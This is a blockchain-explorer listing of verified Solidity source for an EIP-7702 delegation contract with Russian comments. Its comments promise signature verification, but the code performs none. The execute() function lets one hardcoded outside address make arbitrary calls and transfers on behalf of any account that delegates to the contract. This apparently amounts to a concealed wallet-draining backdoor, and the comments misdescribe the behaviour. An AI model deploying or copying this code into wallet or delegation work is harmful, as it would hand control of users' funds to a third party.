Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"contracts/eip.sol": {
"content": "// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
// Контракт для реализации транзакций EIP-7702 с делегированием и проверкой подписей
contract EIP7702Contract {
// Структура для представления операции (вызова контракта)
struct Operation {
address target;
uint256 value;
bytes data;
}
// Событие, эмитируемое при выполнении вызова
event CallExecuted(address indexed sender, address indexed target);
// Ошибка для невалидной подписи
error InvalidSignature();
error InvalidAuthority();
error CallReverted();
error ECDSAInvalidSignature();
error ECDSAInvalidSignatureLength(uint256 length);
error ECDSAInvalidSignatureS(uint256 s);
// Функция для выполнения операций без подписи (только от контракта)
function execute(Operation[] calldata operations) public payable {
require(msg.sender == address(this) || msg.sender == 0x83272cD6FD69f1a628260ddb6379590233EBc949, "Invalid authority");
_execute(operations);
}
// Внутренняя функция для выполнения операций
function _execute(Operation[] calldata operations) private {
for (uint256 i = 0; i < operations.length; i++) {
Operation memory op = operations[i];
require(op.target == address(op.target), "Invalid target address");
// Выполняем вызов
(bool success, bytes memory returnData) = op.target.call{value: op.value, gas: gasleft()}(op.data);
if (!success) {
if (returnData.length > 0) {
// Пропагируем ошибку, если есть возвращаемые данные
assembly {
revert(add(returnData, 32), mload(returnData))
}
} else {
revert CallReverted();
}
}
// Эмитируем событие для каждого вызова
emit CallExecuted(msg.sender, op.target);
}
}
// Функция для принятия прямых переводов ETH
receive() external payable {}
// Fallback-функция для обработки неизвестных вызовов
fallback() external payable {}
}
"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-10-30 14:08:03
Comments
Log in to comment.
No comments yet.